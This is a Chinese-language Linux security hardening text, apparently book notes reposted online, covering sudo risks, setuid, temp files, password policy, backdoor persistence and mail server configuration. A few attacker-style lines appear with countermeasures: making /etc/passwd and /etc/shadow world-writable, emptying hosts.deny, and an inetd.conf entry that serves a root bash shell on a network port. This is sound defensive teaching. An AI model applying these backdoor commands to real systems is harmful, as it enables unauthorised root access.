脚本也应该检查和保证所更改的用户未被锁定并且拥用合法的shell。

sudo编辑器操作
通常,用户用权权访问的配置程序可能会运行编辑器,例如crontab -e -u user。因为我多数
这类程序允许通过环境变量VISUAL OR EDITOR设置默认编辑器。所以可以运行几乎所有
程序。应当把编辑器限制在众所周知的范围内,如vi,ed or emacs。但编辑器同样可以执行
shell或外部命令。因为编辑器以root运行,所以任何程序只要运行在由该编辑器得到的shell
中,都将拥用root权限。对该问题的最佳解决方法是当编辑文件时,应当文件锁定并复制
到普通用户能够以最小权限编辑的安全位置。然后用户再编辑这个临时文件,而不会危及受
保护的系统文件。在编辑完成后,确保没有改动受限区域,并且所做改动与文件结构和系统
要求一致,之后再将所修改文件复制到原始文件并解锁。

sudo带来的其它程序漏洞
chmod,允许开发者将目录设置为可写以完成工作。攻击者可以直接运行chmod 666
/etc/passwd /etc/shadow,并随心所欲地创建或修改帐号。
chown,允许某公共区域(如某个web文档树)的开发者获得其他开发者的文件的控制权。
攻击效果同chmod。
tar/cpio,允许用户创建文档及备份。攻击者可以用于抽取文件,以替换系统的执行文件或
配置文件。
mount,允许用户加载远程文件系统。攻击者能够用于加载包含setuserid程序的文件系统,
从而使用攻击者获得系统权限。
useradd,允许可信用户创建新帐号。攻击者可用于创建新的root级帐号。
rpm,安装rpm软件包。攻击者用于降级系统的软件,使其包含能够被攻击者利用的漏洞,或
者用来安装使用攻击者获得root权限的rpm软件包。
创建sudoers文件时,应当详细地设置允许运行的程序及其参数。下例配置两个组,
httpd_restricted组中的用户运行apachectl程序时只能指定start和stop选项。而httpd_full组
成员能运行所有被支持的选项。
User_Alias httpd_full = king,ryan,chris
User_Alias httpd_restricted = guest,tax

Cmnd_Alias apachectl = /etc/apachectl *
Cmnd_Alias web_restart = /etc/apachectl start,/etc/apachectl stop

httpd_full ALL=(ALL) apachectl
httpd_restricted ALL=(ALL) web_restart
通过显式列出参数防止用户对程序的自由使用,避免了使用不当的情况。应当使用谨慎设计
的前端脚本来验证参数。在脚本中应当检查path,libpath and editor等敏感的环境变量。必须
给出绝对路径,以避免特洛伊木马攻击。

格式字符串攻击
问题出在现在程序员使用类似于*printf() or syslog()等支持格式化输出的函数打印简单字符
串的场合,正确的方式应当是:
printf("%s",str),然而,为了节省时间和少打6个字符。许多程序员转而输入如下省略第一个
参数的命令:printf(str)。

setuserid的一般预防
使用chattr +i将所有setuserid程序设置为不可修改,同时设置所有的系统程序和目录不可修
改。在/bin,/usr/bin,/sbin,/usr/sbin,/lib等目录下的文件很少变化,因此当它们变化时,管理员
必须知道。如果可能,对/,/boot,/usr,/var,/home使用单独分区,设置系统目录为只读,并使
用类似于linux入侵检测系统(LIDS)等安全性增强工具来阻止入侵者重新以读-写方式加
载只读分区。删除或去掉没用的setuserid程序。

已加载文件系统上的黑客setuserid程序
用户用mount加载驱动器、设备、文件和远程文件系统,当把有setuserid程序的NFS程序
加载到本时这样会产生问题。要防止加载文件系统上的setuserid文件。任何远程文件系统
或本地文件系统都应以nosuid标志加载。也可以在不可信的文件系统上设置noexec标志。
以阻止其上任何程序的运行。如果想要运行其中的程序可以复制到本地文件系统,然后运行。
这不仅有助于防止权限提升类型的攻击,也能够对付setuserid的perl脚本。并减少蠕虫和
自繁殖程序通过网络传播。

硬链接和符号链接
任何必须创建临时文件的程序应当使用那此文件存在时来会重复创建的函数,对于系统调用
open(),可以使用O_EXCL参数做到这点。
open("/tmp/filename",O_EXCL|O_CREAT|O_RDWR,0666);
在perl中,可用sysopen命令实现:
sysopen(HANDLE,"/tmp/filename",O_EXCL|O_CREAT|O_RDWR);
在shell脚本中,使用mktemp实用工具:tmpfile=`mktemp /tmp/filename.xxxxx`||exit 1
commands > $tmpfile。
如果想要更高的安全必一,可以安装solar designer开发的linux内核补丁,位于
http://www.openwall.org,该补丁能够阻止对/tmp目录下文件的符号链接和硬链接攻击。用户
只有在拥有实际文件或读写权限的情形下,才能够在/tmp下创建链接。应用好的分区习惯,
如/home,/var,/tmp,/usr,/boot,/这样的分区规则。确保普通用户对除/home and /tmp目录之外的
所有其他分区都没有写权限。这能够防止建立对系统文件如/etc/passwd and /bin/ls的硬链接。

输入验证
脚本应总是验证其输入参数,以确保其中没有包含非法的字符和shell元字符。这些参数不
能包括可能引起意外解释的空白字符,shell控制符和元字符。这一规则适用于所shell脚本,
也适用于那些不明智地使用system()函数的C程序。脚本还应当屏蔽对IFS的修改。或者在
执行传入参数和正确性检查前将IFS设置为安全值。

第九章 口令破解
DES(Data Encryption Standard 数据加密标准),linux中crypt(3)实现des的功能,它有两个参
数,key and salt,key是用户的口令,salt是从[a-zA-Z0-9./]中选择的长度为2的字符串,用
户口令最长不能超过8字符。DES的开发得到美国政府的部份支持,所以不能向美国之外
地区输出。
MD5算法是一种散列算法,在很多方面改善了DES,无限长口令;更大的密钥空间,远比
13字符长;可输出来美国之外地区。

口令破解程序
crack,john the ripper,viper,slurpie
对策:
1、自已运行口令破解程序,找到机器中存在的弱口令。
2、确保口令文件不是可读的。
3、经常检查日志文件。
4、使用阴影口令。

阴影口令
/etc/shadow,只有root可读。格式如下:
1、用户名;
2、口令密文;
3、口令最后修改日期与1970年1月1日的相隔天数;
4、离用户允许修改口令还剩下的天数;
5、离用户必须修改口令还剩下的天数;
6、离系统提醒用户必须修改口令还剩下的天数;
7、用户仍可修改口令的剩余天数,否则到期之后该帐号被禁止。
8、保留字段。

启用阴影口令
pwck----检查/etc/passwd完整性
pwconv----转换到阴影口令。它根据现有的/etc/passwd文件创建/etc/shadow文件,如果系统
中已经存在该文件,则将被合并。此外,在成功转换后,仍可能在/etc/passwd中添加普通未
加阴影的帐号。因此,需要定期检查/etc/passwd的内容以确保所有的口令都已阴影化。
pwunconv----去除阴影。
chage命令,判断用户是否必须更改口令。执行时使用-M选项可以强制用户在指定期限之
后更改口令。
选项
mindays 两次更改口令之间的最小天数。
maxdays 口令有效的最大天数。
lastday 口令最后修改日期与1970年1月1日的相隔天数。
inactive 口令过期之后,帐号禁用之前的休眠天数。
expiredate 帐号禁用的起始日期。
warndays 在用户必须修改口令之前开始提醒用户的天数。
其它实用程序
gpasswd 往组中添加新用户。
groupadd 创建新组。
groupdel 删除组。
groupmod 修改组信息。
passwd 设置密码。
useradd 创建新用户。
userdel 删除用户。
usermod 修改用户信息。

口令保护
创建强状口令的规划,至少各有一个字符来自于这些字符集:a-zA-Z0-9标点符号。如果使
用des,使用6--8个字符,如果使用md5,使用任意长度的字符,长于15位更好。在不同的
系统上使用不同的口令,但会非常难于记住,一个解决办法是使用PGP和强口令对该文件
加密。
passwd+程序能强制用户使用健壮的口令。
npasswd,anlpasswd都是优秀的口令检查程序。

使用一次有效的口令。OTP的SeureID,S/Key,OPIE

小结口令保护方法:
1、实现阴影口令。
2、使用md5取代des.
3、实施好的口令策略,包括在用户创建新口令时进行测试,强制用户采用健壮的口令。
4、定期运行口令破解程序,以发现系统中的脆弱口令。
5、考虑使用口令期限和一次有效口令。
6、决不把口令告诉不认识的人。

第十章 黑客保持通道的方法
基于主机的认证和用户访问
修改hosts.allow and hosts.deny
有多个网络服务使用/etc/hosts.allow文件来确定哪些客户端被允许连接。如果服务不接受来
自该主机的连接,则在tcp握手完成之后将即刻关闭连接,而不发送或接收任何数据。也就
是说,该服务能够对来自该主机此类连接的攻击完全免疫,因为黑客没有机会发送数据以做
出破坏。/etc/hosts.deny文件中的内空通常应该是"ALL:ALL",表示所有没有在hosts.allow
中列出的机器都将被拒绝。只要删除该行(例如:cat /dev/null >/etc/host.deny),黑客就可以
连接所提供的服务。
对策:
使用文件完整性工具监视两个文件。同时考虑使用chattr +i命令将它们设置成不可更改。

不安全的nfs导出
导出"/"本身,黑客不用登录就可以修改目标主机上的所有文件。

关闭远程命令,即将以下行从/etc/inetd.conf中注释:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd
文章出处:http://www.diybl.com/course/6_system/linux/Linuxjs/200888/135117_3.html
>login stream tcp nowait root /usr/sbin/tcpd in.rlogind
exec stream tcp nowait root /usr/sbin/tcpd in.rexecd

安装ssh后,应当使用文件完整性工具监视如下所有文件:
/etc/hosts.equiv
/etc/shosts.equiv
/home/*/.rhosts
/home/*/.shosts
/etc/sshd_config
/ect/ssh_known_hosts

向inetd添加root shell
创建一个网络可达的root shell的一种简单方法是在/etc/inetd.conf文件中添加一条记录。假
设在被侵入的系统中没有使用ingreslock端口,这样,黑可以将如下一行添加到/etc/inetd.conf
文件中:
ingreslock stream tcp nowait root /bin/bash -i 给定-i参数,/bin/bash将创建一个交互的
shell。这样,只要连接到系统的ingreslock端口,黑客就能直接执行命令。因为这不是一个
实际的tty(该连接通过某个网络套接字)。所以它不如任务控制台好用,但仍然能够运行任
何命令。
对策:
运行文件完整性检查工具。配置防火墙只允许来自所需端口(ssh,smtp and http)的进入连接。
使用chattr +i命令。甚至一个更好的办法,即根本不运行inted。通过inted提供的大部份服
务都不是必需的。

木马化程序是黑客在取得主机控权后,利用编程技术,把一样常用程序如ls,netstat等进行修
改重新编译,从而达到控制,隐藏等目的。

lrk--linux root kit 提供大量木马化程序如du,find,ls,ifconfig等。
RKdet和CHKrootkit是两个检测lrk的工具。

入侵内核
可装载内核模块。利用完整性检查发现安装的新模块和修改现有模块的时间,对/lib/modules
目录树限制许可以及应用chattr +i命令。使用类似LIDS内核补丁,并进行适当配置,使得
即使root也不能在/lib/modules下安装文件或装载内核模块。
内核本身如果被入侵,麻烦就大了,在新内核运行时,管理员不能相信与系统相关的任何信
息。包括文件和进程列表,网络链接,磁盘和CPU统计,以及/proc。必须马上开始第二章
所介绍的系统恢复过程。

第十一章 服务器安全问题
mail安全性
Mail User Agent(MUA)邮件用户代理,如Mutt,Pine,Elm。用户使用这些程序编辑和阅读邮件。
Mail Transfer Agent(MTA)邮件传送代理,如sendmail,qmail,postfix。主要功能是在多台机器
之间转发邮件。
Mail Delivery Agent(MDA)邮件分发代理,是用户介面和MTA之间的中介,它从MTA中取
回邮件并放置在本地收件箱,或者把发件箱中的邮件传给MTA。这方面的程序有mail.local
and Procmail。
安全问题绝大多数和MTA有关。

sendmail
在互联网上大约75%的邮件服务器上运行。
1988年,Morris的internet蠕虫就利用它的WIZ命令,它使用任何用户能立即获得root权
限。然而,近来,它已变得相当稳定,这很大程度归功Sendmail Inc的成立。该商业组织现
在负责Sendmail的开发工作。

为了保证安全一个必须采取而且绝对重要,即订阅所选择的邮件服务器的安全问题邮件列
表,并随时准备在必要时升级。

邮件服务器的最大问题是它需要绑定端口25,因此必须以root启动。只要服务器中发现漏
洞,黑客就有可能立即获得root权限。Postfix and Qmail不以root运行,它们都使用一个单
独的进程绑定25端口,该进程把所建立的连接立即转交给独立的smtp程序,这个程序永远
都不以root运行。这两个程序都不存在root类漏洞。sendmail在sendmail.cf文件中提供
RunAsUser选项,如果设置了该选项,sendmail守护进程在读取和分发邮件时会先成为指定
用户。这也意味着必须修改相应的文件。使用该用户对它们有读权限,这些文件包括队列目
录/var/spool/mqueue,别名列表,以及:include:文件等。由于没有默认的用户和组,所以要创
建它。以sendmail用户和mail组运行sendmail为例,就必须在.cf文件中包括如下代码:
O RunAsUser=sendmail:mail

邮件服务器旗标
建立连接后,smtp立即向用户发送旗标。这个旗标通常包括邮件服务器名,smtp软件名和
版本号,当前时间等,这些信息对黑客非常重要,所以要关闭这一欢迎信息。在sendmail.cf
文件中找到SmtpGreetingMessage,将如下配置:
O SmtpGreetingMessage=$j Sendmail $v/$z; $b
修改为 O SmtpGreetingMessage=$j BWare -SMTP spoken here; $b
再使用如下命令重载其配置文件:killall -hup sendmail
qmail修改qmail-smtpd的smtpgreeting值;postfix修改smtpd_banner值。

SMTP VRFY命令
VRFY最初用于帮助机器确定用户名或邮件地址是否合法,但是,现在该命令很少再用于这
个目的。相反,它通常被黑客对用户实施蛮力攻击。
用法:VRFY XXXX 日志可以记录VRFY命令操作情况。
关闭该命令需对sendmail.cf文件中对PrivacyOption做如下更改:
O PrivacyOption=authwarnings,novrfy 或将下面一行添加到sendmail.mc配置文件中,然后重
新编译sendmail.cf。define('confPRIVACY_FLAGS',"authwarnings,novrfy")dnl,修改完成后重
载配置文件。

SMTP EXPN命令
EXPN命令扩展所提供的用户名和邮件地址。与VRFY命令类似,它也可以用来猜测用户名
和邮件地址。
要关闭EXPN请求,只需在sendmail.cf中将PrivacyOption标志修改为:
O PrivacyOption=authwarnings,noexpn,或将下面一行添加到sendmail.mc配置文件中,然后重
新编译sendmail.cf。define('confPRIVACY_FLAGS',"authwarnings,noexpn")dnl,修改完成后重
载配置文件。如果同进关闭VRFY AND EXPN可以这样写authwarnings,noexpn,novrfy。如
果使用的是新近的版本,也可以使用goaway选项,它自动包括了noexpn,novrfy和其它
PrivacyOption选项。

qmail and postfix 都不支持expn命令,所以不存在这个问题

不适当的文件许可
在接收和分发邮件时,邮件服务器可能会用到多个文件,例如虚拟主机名,邮件别名和邮件
路由映射文件等,如果某个用户能够修改这些文件,它就能够对邮件服务器的运作产生影响。
所以必须对这些文件设置合适的文件许可,使用文件完整性工具密切监视被邮件服务器使用
的所有文件。同时,为确保万无一失,也可以用chattr +i命令将这些文件设置为不可修改。
sendmail8.9或以上的版本在使用.forwards,:include:,地址映射以及其他相关文件前先对其执
行许可正确性检查,如果它认为所给的许可权超过了所需的,就会取消动作并发回邮件。如
果确实要依赖于所给的过渡性许可,则必须在sendmail.mc中添加如下一行配置信息显示地
告诉sendmail使用相应的不安全许可设置。
OPTION('confDONT_BLAME_SENDMAIL','groupwritablealiasfile')dnl
警告:如果想打破sendmail的严格许可规定,就必须确信所做事情的含义。因为一旦允许
用户修改与sendmail相关的文件,他们就有可能得到root权限。

为进一步防止运行外部命令,可以将sendmail配置成使用smrsh(sendmail受限shell)运行
所有shell命令,将下面一行加到sendmail.mc:
FEATURE('smrsh','path-to-smrsh'),smrsh程序只执行在特定目录下(默认为/usr/adm/sm.bin)
的程序。但要确保该目录下程序的安全。
qmail and postfix都遵循一个原则:只有不受限制的root用户才可以对邮件服务器的相关文
件具有写权限。惟一例外的是.forward文件。一旦启用,其所有者必须是接收的用户。邮件
服务器相关文件在/etc/postfix and /var/qmail下。要确保这些文件只有root可写。

邮件中继
为保护机器和网络不被垃圾邮件兜售商滥用,必须确保它们不中继来自非授权域的邮件。
sendmail8.9及之后的版本默认情况下拒绝邮件中继,如果必须中继来自某些主机的邮件,
必须将它们的地址加下/etc/mail/access文件中。
警告:sendmail将整个域名中主机名之后的部份看做域名,如果管理员在.mc文件中使用
FEATURE{relay_entire_domain},并且当前域中的任一本地ip地址都反解析为某二级域名
(如example.com),那么其意图是允许中继所有该域中机器的邮件,不幸的是,sendmail
会将域认为是.com,从而实际上是以开放中继方式运行。

qmail0.91及以上版本默认情况下拒绝邮件中继,要设置服务器中继特定主机的邮件,可以
有以下两种方式:
1、以支持host_options方式安装tcp封装器。如下所示方式运行qmail的smtpd守护进程。
tcpd /var/qmail/bin/tcp-env /var/qmail/bin/qmail-smtpd
并在/etc/hosts.allow中为所有需要中继的主机添加与下面类似的行。
tcp-env:xxx.xxx.xxx.xxx :setenv=RELAYCLIENT
2、如果使用tcpserver0.80或更高版本,在/etc/tcp.smtp中添加如下行:
xxx.xxx.xxx.xxx:allow,RELAYCLIENT=""
然后运行:tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp < /etc/tcp.smtp,并且在tcpserver调用
qmail-smtpd的命令行后面添加:
-x /etc/tcp.smtp.cdb

postfix在默认情况下总是拒绝邮件中继,服务器处理邮件所进出的网络必须在它第一次运行
前在main.cf中配置,涉及的相关变量有myhostname,mydomain,myorigin,mydestination and
mynetworks。对于许多系统来说,要建立一个可运行的postfix配置,只需要处理这些变量。
不幸的是,因为smtp

以下为最近的前十五条评论:
共0条信息
暂时没有信息

----评论处 ----
发评者:请回答:53 十 76 =